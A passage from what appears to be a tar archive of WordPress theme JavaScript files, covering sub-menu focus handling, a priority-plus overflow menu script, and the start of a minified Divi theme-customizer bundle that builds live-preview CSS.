? currentDiv.nextElementSibling : currentDiv.previousElementSibling; var focusedElement = currentDivSibling.querySelector( '.is-focused' ); var focusedClass = 'is-focused'; var prevLi = getCurrentParent( event.target, '.main-navigation > div > ul > li', '.main-navigation' ).previousElementSibling; var nextLi = getCurrentParent( event.target, '.main-navigation > div > ul > li', '.main-navigation' ).nextElementSibling; if ( null !== focusedElement && null !== hasClass( focusedElement, focusedClass ) ) { deleteClass( focusedElement, focusedClass ); } // Add .is-focused class to top-level li. if ( getCurrentParent( event.target, '.main-navigation > div > ul > li', '.main-navigation' ) ) { addClass( getCurrentParent( event.target, '.main-navigation > div > ul > li', '.main-navigation' ), focusedClass ); } // Check for previous li. if ( prevLi && hasClass( prevLi, focusedClass ) ) { deleteClass( prevLi, focusedClass ); } // Check for next li. if ( nextLi && hasClass( nextLi, focusedClass ) ) { deleteClass( nextLi, focusedClass ); } } }, true); document.addEventListener('click', function(event) { // Remove all focused menu states when clicking outside site branding. if ( event.target !== document.getElementsByClassName( 'site-branding' )[0] ) { removeAllFocusStates(); } else { // Nothing. } }, false); } /** * Run our sub-menu function as soon as the document is `ready`. */ document.addEventListener( 'DOMContentLoaded', function() { toggleSubmenuDisplay(); }); /** * Run our sub-menu function on selective refresh in the customizer. */ document.addEventListener( 'customize-preview-menu-refreshed', function( e, params ) { if ( 'menu-1' === params.wpNavMenuArgs.theme_location ) { toggleSubmenuDisplay(); } }); /** * Run our sub-menu function every time the window resizes. */ var isResizing = false; window.addEventListener( 'resize', function() { isResizing = true; debounce( function() { if ( isResizing ) { return; } toggleSubmenuDisplay(); isResizing = false; }, 150 ); } ); })(); priority-menu.js 0000644 00000012377 15222574066 0007750 0 ustar 00 (function() { /** * Debounce. * * @param {Function} func * @param {number} wait * @param {boolean} immediate */ function debounce(func, wait, immediate) { 'use strict'; var timeout; wait = (typeof wait !== 'undefined') ? wait : 20; immediate = (typeof immediate !== 'undefined') ? immediate : true; return function() { var context = this, args = arguments; var later = function() { timeout = null; if (!immediate) { func.apply(context, args); } }; var callNow = immediate && !timeout; clearTimeout(timeout); timeout = setTimeout(later, wait); if (callNow) { func.apply(context, args); } }; } /** * Prepends an element to a container. * * @param {Element} container * @param {Element} element */ function prependElement(container, element) { if (container.firstChild.nextSibling) { return container.insertBefore(element, container.firstChild.nextSibling); } else { return container.appendChild(element); } } /** * Shows an element by adding a hidden className. * * @param {Element} element */ function showButton(element) { // classList.remove is not supported in IE11. element.className = element.className.replace('is-empty', ''); } /** * Hides an element by removing the hidden className. * * @param {Element} element */ function hideButton(element) { // classList.add is not supported in IE11. if (!element.classList.contains('is-empty')) { element.className += ' is-empty'; } } /** * Returns the currently available space in the menu container. * * @returns {number} Available space */ function getAvailableSpace( button, container ) { return container.offsetWidth - button.offsetWidth - 22; } /** * Returns whether the current menu is overflowing or not. * * @returns {boolean} Is overflowing */ function isOverflowingNavivation( list, button, container ) { return list.offsetWidth > getAvailableSpace( button, container ); } /** * Set menu container variable. */ var navContainer = document.querySelector('.main-navigation'); var breaks = []; /** * Let’s bail if we our menu doesn't exist. */ if ( ! navContainer ) { return; } /** * Refreshes the list item from the menu depending on the menu size. */ function updateNavigationMenu( container ) { /** * Let’s bail if our menu is empty. */ if ( ! container.parentNode.querySelector('.main-menu[id]') ) { return; } // Adds the necessary UI to operate the menu. var visibleList = container.parentNode.querySelector('.main-menu[id]'); var hiddenList = visibleList.parentNode.nextElementSibling.querySelector('.hidden-links'); var toggleButton = visibleList.parentNode.nextElementSibling.querySelector('.main-menu-more-toggle'); if ( isOverflowingNavivation( visibleList, toggleButton, container ) ) { // Record the width of the list. breaks.push( visibleList.offsetWidth ); // Move last item to the hidden list. prependElement( hiddenList, ! visibleList.lastChild || null === visibleList.lastChild ? visibleList.previousElementSibling : visibleList.lastChild ); // Show the toggle button. showButton( toggleButton ); } else { // There is space for another item in the nav. if ( getAvailableSpace( toggleButton, container ) > breaks[breaks.length - 1] ) { // Move the item to the visible list. visibleList.appendChild( hiddenList.firstChild.nextSibling ); breaks.pop(); } // Hide the dropdown btn if hidden list is empty. if (breaks.length < 2) { hideButton( toggleButton ); } } // Recur if the visible list is still overflowing the nav. if ( isOverflowingNavivation( visibleList, toggleButton, container ) ) { updateNavigationMenu( container ); } } /** * Run our priority+ function as soon as the document is `ready`. */ document.addEventListener( 'DOMContentLoaded', function() { updateNavigationMenu( navContainer ); // Also, run our priority+ function on selective refresh in the customizer. var hasSelectiveRefresh = ( 'undefined' !== typeof wp && wp.customize && wp.customize.selectiveRefresh && wp.customize.navMenusPreview.NavMenuInstancePartial ); if ( hasSelectiveRefresh ) { // Re-run our priority+ function on Nav Menu partial refreshes. wp.customize.selectiveRefresh.bind( 'partial-content-rendered', function ( placement ) { var isNewNavMenu = ( placement && placement.partial.id.includes( 'nav_menu_instance' ) && 'null' !== placement.container[0].parentNode && placement.container[0].parentNode.classList.contains( 'main-navigation' ) ); if ( isNewNavMenu ) { updateNavigationMenu( placement.container[0].parentNode ); } }); } }); /** * Run our priority+ function on load. */ window.addEventListener( 'load', function() { updateNavigationMenu( navContainer ); }); /** * Run our priority+ function every time the window resizes. */ var isResizing = false; window.addEventListener( 'resize', debounce( function() { if ( isResizing ) { return; } isResizing = true; setTimeout( function() { updateNavigationMenu( navContainer ); isResizing = false; }, 150 ); } ) ); /** * Run our priority+ function. */ updateNavigationMenu( navContainer ); })(); theme-customizer.js 0000644 00000261205 15222641013 0010410 0 ustar 00 !function(t){var e={};function o(n){if(e[n])return e[n].exports;var i=e[n]={i:n,l:!1,exports:{}};return t[n].call(i.exports,i,i.exports,o),i.l=!0,i.exports}o.m=t,o.c=e,o.d=function(t,e,n){o.o(t,e)||Object.defineProperty(t,e,{enumerable:!0,get:n})},o.r=function(t){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(t,"__esModule",{value:!0})},o.t=function(t,e){if(1&e&&(t=o(t)),8&e)return t;if(4&e&&"object"==typeof t&&t&&t.__esModule)return t;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:t}),2&e&&"string"!=typeof t)for(var i in t)o.d(n,i,function(e){return t[e]}.bind(null,i));return n},o.n=function(t){var e=t&&t.__esModule?function(){return t.default}:function(){return t};return o.d(e,"a",e),e},o.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},o.p="",o(o.s=93)}({0:function(t,e,o){"use strict";o.d(e,"a",(function(){return i}));var n,i=window;try{n=!!window.top.document&&window.top}catch(t){n=!1}n&&n.__Cypress__?window.parent===n?i=window:i=window.parent:n&&(i=n,window.self)},93:function(t,e,o){"use strict";o.r(e);var n=o(0);function i(t){return function(t){if(Array.isArray(t))return a(t)}(t)||function(t){if("undefined"!=typeof Symbol&&null!=t[Symbol.iterator]||null!=t["@@iterator"])return Array.from(t)}(t)||function(t,e){if(!t)return;if("string"==typeof t)return a(t,e);var o=Object.prototype.toString.call(t).slice(8,-1);"Object"===o&&t.constructor&&(o=t.constructor.name);if("Map"===o||"Set"===o)return Array.from(t);if("Arguments"===o||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(o))return a(t,e)}(t)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function a(t,e){(null==e||e>t.length)&&(e=t.length);for(var o=0,n=new Array(e);o<e;o++)n[o]=t[o];return n}!function(t){t(".et_pb_section"),t(".et_transparent_nav");var e=t("#footer-info"),o=et_main_customizer_data.original_footer_credits,a=et_main_customizer_data.custom_fonts,r=et_main_customizer_data.google_fonts,c=et_main_customizer_data.supported_options,s=!1,d="";function l(e,o){var n,i=t(void 0===o?"body":o),_=i.attr("class"),a=new RegExp(e+"[^\\s]+","g");n=_.replace(a,""),i.attr("class",n.trim())}function p(){setTimeout((function(){var e=t("body"),o=t("#page-container"),n=t("#top-header"),i=t("#main-header"),_=n.length&&n.is(":visible")?n.innerHeight()+"px":"0px",a=i.length?i.innerHeight():0;e.hasClass("et_hide_nav")||window.et_is_vertical_nav||!e.hasClass("et_fixed_nav")?window.et_is_vertical_nav?(o.css("paddingTop","0px"),i.css("top","0px")):o.css("paddingTop","0px"):(o.css("paddingTop",a+_+"px"),i.css("top",_)),h()}),550)}function u(){var e=void 0===wp.customize.value("et_divi[header_style]")()?"left":wp.customize.value("et_divi[header_style]")(),o=void 0===wp.customize.value("et_divi[menu_height]")()?66:parseInt(wp.customize.value("et_divi[menu_height]")()),n=t("#fixed_menu_height").length&&void 0!==wp.customize.value("et_divi[minimized_menu_height]")()?parseInt(wp.customize.value("et_divi[minimized_menu_height]")()):40,i=void 0===wp.customize.value("et_divi[logo_height]")()?54:parseInt(wp.customize.value("et_divi[logo_height]")()),_=t("body").hasClass("rtl"),a=t("#et-top-navigation"),r=_?"paddingRight":"paddingLeft",c=30,s='<style id="logo_height_style">',d="";"left"!==e&&"slide"!==e&&"fullscreen"!==e||(s+="#logo { max-height: "+i+"%; } ",s+=".et_pb_svg_logo #logo { height: "+i+"%; } "),"centered"===e&&(s+=".et_header_style_centered #logo { max-height: "+i+"%; } ",s+=".et_pb_svg_logo.et_header_style_centered #logo { height: "+i+"%; } "),"split"===e&&(s+="body.et_header_style_split #main-header .centered-inline-logo-wrap { width: auto; height: "+(o/100*i+14)+"px; } ",s+="body.et_header_style_split #main-header.et-fixed-header .centered-inline-logo-wrap { width: auto; height: "+(n/100*i+14)+"px; } ",s+="body.et_header_style_split .centered-inline-logo-wrap #logo { height: auto; max-height: 100%; } ",s+="body.et_header_style_split .et-fixed-header .centered-inline-logo-wrap #logo { height: auto; max-height: 100%; } ",t(".et_header_style_split .centered-inline-logo-wrap").css({width:""})),window.et_is_vertical_nav&&(s+="#main-header .logo_container { width: "+i+"%; } ",s+=".et_header_style_centered #main-header .logo_container, .et_header_style_split #main-header .logo_container { margin: 0 auto; } "),q("style#logo_height_style",s+="</style>"),setTimeout((function(){("left"===e&&!window.et_is_vertical_nav||"slide"===e||"fullscreen"===e)&&(c+=t("#logo").width(),d=c),a.css(r,d+"px")}),700)}function m(t,e){if(void 0===t)return!1;var o=t.split("|");return void 0!==o[e]&&o[e]}function b(e){var o=t(window).width()>980,n=0,i=t("#main-header"),_="fixed"===e?"data-fixed-height-onload":"data-height-onload",a="fixed"===e?"main-header-clone et-fixed-header":"main-header-clone",r=i.clone().addClass(a);o&&("fixed"===e?r.css({opacity:0,position:"fixed",top:"auto",right:"0px",bottom:"0px",left:"0px"}).appendTo(t("body")):r.css({opacity:0,position:"absolute",top:"0px",right:"0px",bottom:"auto",left:"0px"}).prependTo(t("body")),n=r.height(),r.remove(),i.attr(_,n))}function h(){t(".et_pb_slider");var e=t("#top-header"),o=t("#main-header"),n=o.length?o.innerHeight():0,i=t("#page-container"),_=t(".et_transparent_nav").length,a=t("body.et_pb_pagebuilder_layout .et_pb_section:first-child"),r=a.length,c=a.children(".et_pb_module").first(),s=t("#main-content .container:first-child"),d=s.length,l=s.find(".et_post_meta_wrapper").first(),p=l.find("h1"),u=(s.find(".entry-content").first(),t("body.single-post")),h=t(window),f=h.width(),g=e.length&&e.is(":visible")?e.innerHeight():0,v="<style id='et_fix_page_container_position'>",w=t("#et_fix_page_container_position"),y=w.length,x=t(".single.et_pb_pagebuilder_layout.et_full_width_page"),z=t("body").hasClass("et_fixed_nav"),k=t("body").hasClass("nav-vertical-to-horizontal");if(f>980&&!o.attr("data-height-loaded")&&o.attr({"data-height-onload":n,"data-height-loaded":!0}),f<=980){var C=n+g-1;_&&!r&&(C+=58)}else{C=k?o.height():parseInt(o.attr("data-height-onload"));C+=g,_&&!window.et_is_vertical_nav&&d&&(C+=58),k&&o.attr({"data-height-onload":o.height()})}if(b("fixed"),_&&!window.et_is_vertical_nav){a.addClass("et_pb_section_first");var q=(U=a.length)&&u.length,T=x.length&&p.length,I=x.length&&0===p.length,j=a.is(".et_pb_fullwidth_section"),A=h.width()<=980&&s.length;if(!q||I&&j)if(j){c=a.children(".et_pb_module").first();if(I&&j&&h.width()>980&&(C-=58),c.is(".et_pb_slider")){var H=c.find(".et_pb_slide_image"),S=c.find(".et_pb_slide"),W=c.find(".et_pb_slide .et_pb_container"),O=0-parseInt(H.height())/2,M=c.find(".et-pb-slider-arrows a"),P=M.height();S.css({paddingTop:C+"px"}),W.css({"min-height":""}),H.css({marginTop:O+"px"}),M.css({marginTop:C/2-P/2+"px"}),et_pb_first_row_slide_container_height_new=0,c.find(".et_pb_slide").each((function(){var e=t(this),o=e.find(".et_pb_container");e.show(),o.css({"min-height":""});var n=o.innerHeight();et_pb_first_row_slide_container_height_new<n&&(et_pb_first_row_slide_container_height_new=n),e.is(':not(".et-pb-active-slide")')&&e.hide()})),W.css({"min-height":et_pb_first_row_slide_container_height_new+"px"})}else if(c.is(".et_pb_fullwidth_header")){c.removeAttr("style");var Y=parseInt(c.css("paddingTop"));c.css({paddingTop:C+Y+"px"})}else if(c.is(".et_pb_fullwidth_portfolio"))c.css({paddingTop:C+"px"});else if(c.is(".et_pb_map_container")){(N=c.find(".et_pb_map")).css({height:""}),c.find(".et_pb_map").css({height:C+parseInt(N.css("height"))+"px"}),c.addClass("et_beneath_transparent_nav")}else if(c.is(".et_pb_menu")||c.is(".et_pb_fullwidth_menu"))c.css({marginTop:C+"px"});else if(c.is(".et_pb_fullwidth_code")){var Q=c;Q.css({paddingTop:""});var E=parseInt(Q.css("paddingTop"));Q.css({paddingTop:C+E+"px"})}else if(c.is(".et_pb_post_title")){c.css({paddingTop:C+50+"px"})}}else if(U){a.css({paddingTop:""});f=h.width();var F,L=m(a.attr("data-padding"),0),B=m(a.attr("data-padding-tablet"),0),$=m(a.attr("data-padding-phone"),0);if(L||B||$)f>980&&L?a.css({paddingTop:"number"==typeof L?L+"px":L}):f>767&&B?a.css({paddingTop:"number"==typeof B?B+"px":B}):$&&a.css({paddingTop:"number"==typeof $?$+"px":$}),F=parseInt(a.css("paddingTop")),a.css({paddingTop:C+F+"px"});else{var R=C+parseInt(a.css("paddingBottom"));a.css({paddingTop:R+"px"})}}else A?s.css({paddingTop:C+"px"}):z&&t("#main-content .container:first-child").css({paddingTop:C+"px"});else s.css({paddingTop:""}),h.width()<980&&(C+=40),j&&a.css({paddingTop:"0px"}),T?l.css({paddingTop:C+"px"}):I?a.css({paddingTop:C+"px"}):s.css({paddingTop:C+"px"});v+="#page-container{padding-top: 0 !important; }"}else{a.removeClass("et_pb_section_first"),z&&i.css("paddingTop",C+"px");var U;q=(U=a.length)&&u.length,T=x.length&&p.length,I=x.length&&0===p.length,j=a.is(".et_pb_fullwidth_section"),A=h.width()<=980&&s.length;if(!q||I&&j)if(j){c=a.children(".et_pb_module").first();if(a.children(".et_pb_module").first().is(".et_pb_slider")){var D=a.find(".et_pb_slide_image"),G=a.find(".et_pb_slide"),J=a.find(".et_pb_slide .et_pb_container"),K=(O=0-parseInt(D.height())/2,a.find(".et-pb-slider-arrows a"));P=K.height();G.css({paddingTop:""}),J.css({"min-height":""}),D.css({marginTop:""}),K.css({marginTop:""}),J.css({"min-height":""})}else if(a.children(".et_pb_module").first().is(".et_pb_fullwidth_header"))c.css({paddingTop:""});else if(a.children(".et_pb_module").first().is(".et_pb_fullwidth_portfolio"))a.find(".et_pb_fullwidth_portfolio").css({paddingTop:""});else if(c.is(".et_pb_map_container")){var N;(N=c.find(".et_pb_map")).css({height:""}),c.find(".et_pb_map").css({height:""}),c.removeClass("et_beneath_transparent_nav")}else if(c.is(".et_pb_menu")||c.is(".et_pb_fullwidth_menu"))c.css({marginTop:""});else if(c.is(".et_pb_fullwidth_code")){var V=c;V.css({paddingTop:""}),V.css({paddingTop:""})}else if(c.is(".et_pb_post_title")){c.css({paddingTop:""})}}else U?(a.css({paddingTop:""}),a.css({paddingTop:""})):A?s.css({paddingTop:""}):t("#main-content .container:first-child").css({paddingTop:""});else s.css({paddingTop:""}),j&&a.css({paddingTop:""}),T?l.css({paddingTop:""}):I?a.css({paddingTop:""}):s.css({paddingTop:""})}v+="</style>",y?w.replaceWith(v):t("head").append(v),t("body").removeClass("nav-vertical-to-horizontal nav-horizontal-to-vertical")}function f(){var e=wp.customize("et_divi[primary_nav_bg]")(),o=t("body").hasClass("et_fixed_nav")?wp.customize("et_divi[fixed_primary_nav_bg]")():"",n=t("<style />",{id:"et_custom_header_shadow_style"}),i=t("#et_custom_header_shadow_style"),_=i.length;"string"==typeof e&&"rgba"===e.substr(0,4)?n.append("#main-header{ background: "+e+" !important;\n box-shadow: none; }"):n.append("#main-header{ background: "+e+" !important;\n box-shadow: 0 1px 0 rgba(0, 0, 0, 0.1);\n -moz-box-shadow: 0 1px 0 rgba(0, 0, 0, 0.1);\n -webkit-box-shadow: 0 1px 0 rgba(0, 0, 0, 0.1); }"),"string"==typeof o&&("rgba"===o.substr(0,4)||"rgba"===e.substr(0,4)&&"#ffffff"===o)?n.append(".et-fixed-header#main-header{ box-shadow: none !important; }"):n.append(".et-fixed-header#main-header{ box-shadow: 0 0 7px rgba(0, 0, 0, 0.1) !important; \n -moz-box-shadow: 0 0 7px rgba(0, 0, 0, 0.1) !important; \n -webkit-box-shadow: 0 0 7px rgba(0, 0, 0, 0.1) !important; }"),"#ffffff"===o?n.append(".et-fixed-header#main-header{ background: "+e+" !important; }"):n.append(".et-fixed-header#main-header{ background: "+o+" !important; }"),_?i.replaceWith(n):t("head").append(n)}function g(){t("#top-header").length||(t("body").addClass("et_secondary_nav_enabled").prepend('<div id="top-header" class="et_nav_text_color_light"><div class="container"></div></div>'),p())}function v(e,o,n){var i=t("style#et_menu_preview_"+o),_="fixed"===n?".et-fixed-header":"",a="<style id='et_menu_preview_"+o+"'> @media all and ( min-width: 981px ) { ";a+=".et_header_style_left "+_+" #et-top-navigation nav > ul > li > a { padding-bottom: "+e/2+"px; } ",a+=".et_header_style_left "+_+" #et-top-navigation { padding: "+e/2+"px 0 0 0; } ",a+=".et_header_style_split "+_+" #et-top-navigation nav > ul > li > a { padding-bottom: "+e/2+"px; } ",a+=".et_header_style_split "+_+" .centered-inline-logo-wrap { width: "+e+"px; margin: -"+e+"px 0; } ",a+=".et_header_style_split "+_+" .centered-inline-logo-wrap #logo { max-height: "+e+"px; } ",a+=".et_header_style_split "+_+" #et-top-navigation { padding: "+e/2+"px 0 0 0; } ",a+=".et_header_style_centered header#main-header"+_+" .logo_container { height: "+e+"px; } ",a+=".et_header_style_centered header#main-header"+_+" #top-menu > li > a { padding-bottom: "+.18*e+"px; } ",a+=".et_header_style_slide "+_+" #et-top-navigation, .et_header_style_fullscreen "+_+" #et-top-navigation { padding: "+(e-18)/2+"px 0 "+(e-18)/2+"px 0 !important; } ",a+="} </style>",i.length?t(i).replaceWith(a):t("head").append(a)}function w(){t("html, body").animate({scrollTop:0},100,(function(){setTimeout((function(){b("initial"),t(window).trigger("resize")}),300)}))}function y(e){var o=100-parseInt(e),n=t("<style />",{id:"theme-customizer-sidebar-width-css"}),i=t("#theme-customizer-sidebar-width-css");n.text("body #page-container #sidebar{ width:"+e+"%; }\t\t\tbody #page-container #left-area{ width:"+o+"%; }\t\t\t.et_right_sidebar #main-content .container:before{ right:"+e+"% !important }\t\t\t.et_left_sidebar #main-content .container:before{ left:"+e+"% !important }\t\t"),i.length?t(i).replaceWith(n):t("head").append(n)}e.length||(t("#footer-bottom .container").prepend('<p id="footer-info"></p>'),e=t("#footer-info"));var x=function(t){if(!s)return t;var e=t.split(","),o="";return _.forEach(e,(function(t){o+=d+" "+t})),o.join(",")};function z(e,o,n,i,_){var a=e.replace(/[ +\/\[\]]/g,"_").toLowerCase(),r=t("#"+a),c=r.length,s=t("<style />",{id:a});if(void 0!==_)var d="!important";else d="";switch(o){case"font-size":s.text(x(n)+"{ font-size: "+i+"px "+d+";}");if(t.inArray(e,["et_divi[et_pb_audio-header_font_size]","et_divi[et_pb_blog-title_font_size]","et_divi[et_pb_cta-header_font_size]","et_divi[et_pb_contact_form-header_font_size]","et_divi[et_pb_login-header_font_size]","et_divi[et_pb_signup-header_font_size]","et_divi[et_pb_slider-header_font_size]","et_divi[et_pb_slider-body_font_size]","et_divi[et_pb_countdown_timer-header_font_size]"])){switch(e){case"et_divi[et_pb_slider-header_font_size]":var l=.565217391*parseInt(i);break;case"et_divi[et_pb_slider-body_font_size]":l=.777777778*parseInt(i);break;default:l=.846153846*parseInt(i)}s.append(".et_pb_column_1_3 "+x(n)+" { font-size: "+l+"px "+d+"; }"),s.append(".et_pb_column_1_4 "+x(n)+" { font-size: "+l+"px "+d+"; }")}break;case"font-styles":s.text(x(n)+" { "+k(i,d)+" }");break;case"letter-spacing":s.text(x(n)+"{ letter-spacing: "+i+"px "+d+";}");break;case"line-height":s.text(x(n)+"{ line-height: "+i+"em "+d+";}");break;case"color":s.text(x(n)+"{ color: "+i+" "+d+";}");break;case"background-color":s.text(x(n)+"{ background-color: "+i+" "+d+";}");break;case"border-radius":s.text(x(n)+" { -moz-border-radius: "+i+"px; -webkit-border-radius: "+i+"px; border-radius: "+i+"px; }");break;case"width":s.text(x(n)+"{ width: "+i+"px "+d+";}");break;case"height":s.text(x(n)+"{ height: "+i+"px "+d+";}");break;case"padding":s.text(x(n)+"{ padding: "+i+"px "+d+";}");break;case"padding-top-bottom":s.text(x(n)+"{ padding: "+i+"px 0 "+d+";}");break;case"padding-tabs":var p=.133333333*parseInt(i),u=p+1,m=p-1,b=.8*parseInt(i);m<0&&(m=0),s.text(x(".et_pb_tabs_controls li")+" { padding: "+u+"px "+i+"px "+m+"px; }"),s.text(x(".et_pb_tabs_controls li.et_pb_tab_active")+" { padding: "+p+"px "+i+"px; }"),s.text(x(".et_pb_all_tabs")+" { padding: "+b+"px "+i+"px "+d+"; }");break;case"padding-slider":s.text(x(n)+"{ padding-top: "+i+"%; padding-bottom: "+i+"%; }"),"et_pagebuilder_slider_padding"===e&&s.append("@media only screen and ( max-width: 767px ) { "+x(n)+"{ padding-top: 16%; padding-bottom: 16%; } }");break;case"padding-call-to-action":i=parseInt(i),s.text(x(".et_pb_promo")+" { padding: "+i+"px "+1.5*i+"px; }"),s.append(x(".et_pb_column_1_2 .et_pb_promo")+" { padding: "+i+"px; }"),s.append(x(".et_pb_column_1_3 .et_pb_promo")+" { padding: "+i+"px; }"),s.append(x(".et_pb_column_1_4 .et_pb_promo")+" { padding: "+i+"px; }");break;case"social-icon-size":var h=.57*parseInt(i),f=2*parseInt(i);s.text(x(".et_pb_social_media_follow li a.icon")+" { margin-right: "+h+"px; width: "+f+"px; height: "+f+"px; }"),s.text(x(".et_pb_social_media_follow li a.icon::before")+" { width: "+f+"px; height: "+f+"px; font-size: "+i+"px; line-height: "+f+"px; }"),s.text(x(".et_pb_social_media_follow li a.follow_button")+" { font-size:"+i+"px; }");break;case"border-top-style":s.text(x(n)+"{ border-top-style: "+i+" "+d+"; }");break;case"border-top-width":s.text(x(n)+"{ border-top-width: "+i+"px "+d+"; }")}c?r.replaceWith(s):t("head").append(s)}function k(e,o){var n=e.split("|"),i="";return t.inArray("bold",n)>=0?i+="font-weight: bold "+o+";":i+="font-weight: inherit "+o+";",t.inArray("italic",n)>=0?i+="font-style: italic "+o+";":i+="font-style: inherit "+o+";",t.inArray("underline",n)>=0?i+="text-decoration: underline "+o+";":i+="text-decoration: inherit "+o+";",t.inArray("uppercase",n)>=0?i+="text-transform: uppercase "+o+";":i+="text-transform: inherit "+o+";",i}function C(){var e=t("<style />",{id:"footer-widget-bullet-style"}),o=t("#footer-widget-bullet-style"),n=parseFloat(t(".footer-widget .et_pb_widget div").css("line-height"))/2-3;e.text("#footer-widgets .footer-widget li:before { top: "+n+"px; }"),o.length?o.replaceWith(e):t("head").append(e)}function q(e,o){t(e).length?""!==o?t(e).replaceWith(o):t(e).remove():t("head").append(o)}function T(){var e=t(window);t("section.et_pb_fullscreen").each((function(){var o=t(this);window.et_calc_fullscreen_section.bind(o)(),e.on("resize",window.et_calc_fullscreen_section.bind(o))}))}function I(){var e=t("body");if(e.hasClass("et_boxed_layout")&&e.hasClass("et_vertical_fixed")&&e.hasClass("et_vertical_right")){var o=parseFloat(t("#page-container").css("margin-right"));o=0>(o+=parseFloat(t("#et-main-area").css("margin-right"))-225)?"0px":o+"px",t("#main-header").css("left",""),t("#main-header").css("right",o)}}function j(){var e=t("body");0===e.find(".et_slide_menu_top").height()?e.find(".et_slide_menu_top").css({display:"none"}):e.find(".et_slide_menu_top").css({display:"block"})}function A(t){var e=[],o=a,n=r,s=_.get(o,t,!1),d=c,l=_.keys(d),p={};if(""===t)e=["300","400","600","700","800"];else{if(s||(s=_.get(n,t,!1)),!s||_.isUndefined(s.styles))return d;e=s.styles.split(",")}var u=_.intersection(["400","700"].concat(i(e)),l);return _.forEach(u,(function(t){p[t]=d[t]})),p}function H(t){n.a.jQuery(t).empty()}function S(e,o){t.each(o,(function(o,i){n.a.jQuery(e).append(t("<option></option>").val(o).html(i))}))}var W=n.a.wp.customize.panel("et_divi_header_panel"),O=n.a.jQuery("#accordion-panel-et_divi_header_panel"),M=n.a.wp.customize.panel("et_divi_footer_panel"),P=n.a.jQuery("#accordion-panel-et_divi_footer_panel");et_theme_builder_customizer_data.hasHeaderLayout?(W.deactivate({duration:0}),O.addClass("et-customizer-hidden")):O.removeClass("et-customizer-hidden"),et_theme_builder_customizer_data.hasFooterLayout?(M.deactivate({duration:0}),P.addClass("et-customizer-hidden")):P.removeClass("et-customizer-hidden"),wp.customize("blogname",(function(e){e.bind((function(e){t("#logo").attr({alt:e})}))})),wp.customize("et_divi[link_color]",(function(e){e.bind((function(e){t("article p:not(.post-meta):not(.et_pb_title_meta_container) a, .comment-edit-link, .pinglist a, .pagination a").css("color",e)}))})),wp.customize("et_divi[body_font_size]",(function(e){e.bind((function(e){var o=t(".footer-widget li").css("font-size");t("#main-content, .et_pb_column_1_2 .et_quote_content blockquote cite, .et_pb_column_1_2 .et_link_content a.et_link_main_url, .et_pb_column_1_3 .et_quote_content blockquote cite, .et_pb_column_3_8 .et_quote_content blockquote cite, .et_pb_column_1_4 .et_quote_content blockquote cite, .et_pb_blog_grid .et_quote_content blockquote cite, .et_pb_column_1_3 .et_link_content a.et_link_main_url, .et_pb_column_3_8 .et_link_content a.et_link_main_url, .et_pb_column_1_4 .et_link_content a.et_link_main_url, .et_pb_blog_grid .et_link_content a.et_link_main_url").css("font-size",e+"px"),t(".et_pb_slide_content, .et_pb_best_value").css("font-size",1.14*e+"px"),e==o&&t("#main-footer li, #main-footer a, #main-footer p, #main-footer").css("font-size",e+"px")}))})),wp.customize("et_divi[phone_body_font_size]",(function(e){e.bind((function(e){var o;t("head style#phone_body_font_size").remove(),o="<style id='phone_body_font_size'>\t\t\t\t\t\t\t\t@media only screen and ( max-width: 767px ) {\t\t\t\t\t\t\t\t\t#main-content, "+x(".et_pb_column_1_2 .et_quote_content blockquote cite, .et_pb_column_1_2 .et_link_content a.et_link_main_url, .et_pb_column_1_3 .et_quote_content blockquote cite, .et_pb_column_3_8 .et_quote_content blockquote cite, .et_pb_column_1_4 .et_quote_content blockquote cite, .et_pb_blog_grid .et_quote_content blockquote cite, .et_pb_column_1_3 .et_link_content a.et_link_main_url, .et_pb_column_3_8 .et_link_content a.et_link_main_url, .et_pb_column_1_4 .et_link_content a.et_link_main_url, .et_pb_blog_grid .et_link_content a.et_link_main_url")+", #main-footer li, #main-footer a, #main-footer p, #main-footer { font-size:"+e+"px !important; }\t\t\t\t\t\t\t\t\t"+x(".et_pb_slide_content, .et_pb_best_value")+" { font-size:"+1.14*e+"px !important; }\t\t\t\t\t\t\t\t}\t\t\t\t\t\t\t</style>",t("head").append(o)}))})),wp.customize("et_divi[tablet_body_font_size]",(function(e){e.bind((function(e){var o;t("head style#tablet_body_font_size").remove(),o="<style id='tablet_body_font_size'>\t\t\t\t\t\t\t\t@media only screen and ( max-width: 980px ) {\t\t\t\t\t\t\t\t\t#main-content, "+x(".et_pb_column_1_2 .et_quote_content blockquote cite, .et_pb_column_1_2 .et_link_content a.et_link_main_url, .et_pb_column_1_3 .et_quote_content blockquote cite, .et_pb_column_3_8 .et_quote_content blockquote cite, .et_pb_column_1_4 .et_quote_content blockquote cite, .et_pb_blog_grid .et_quote_content blockquote cite, .et_pb_column_1_3 .et_link_content a.et_link_main_url, .et_pb_column_3_8 .et_link_content a.et_link_main_url, .et_pb_column_1_4 .et_link_content a.et_link_main_url, .et_pb_blog_grid .et_link_content a.et_link_main_url")+", #main-footer li, #main-footer a, #main-footer p, #main-footer { font-size:"+e+"px !important; }\t\t\t\t\t\t\t\t\t"+x(".et_pb_slide_content, .et_pb_best_value")+" { font-size:"+1.14*e+"px !important; }\t\t\t\t\t\t\t\t}\t\t\t\t\t\t\t</style>",t("head").append(o)}))})),wp.customize("et_divi[section_padding]",(function(e){e.bind((function(e){t(".et_transparent_nav").length&&!window.et_is_vertical_nav?(t(".et_pb_section:nth-child(1)").css({paddingBottom:e+"%"}),t(".et_pb_section").slice(1).css({padding:e+"% 0"}),t(".et_pb_section:nth-child(1)").css({paddingTop:parseInt(t("#main-header").innerHeight()||0)+parseInt(t("#top-header").innerHeight()||0)+parseInt(t(".et_pb_section:nth-child(1)").css("paddingBottom"))-8+"px"})):t(".et_pb_section").css("padding",e+"% 0")}))})),wp.customize("et_divi[row_padding]",(function(e){e.bind((function(e){t(".et_pb_row").css("padding",e+"% 0")}))})),wp.customize("et_divi[phone_row_height]",(function(e){e.bind((function(e){var o;t("head style#phone_row_height").remove(),o="<style id='phone_row_height'>\t\t\t\t\t\t\t\t@media only screen and ( max-width: 767px ) {\t\t\t\t\t\t\t\t\t"+x(".et_pb_row, .et_pb_column 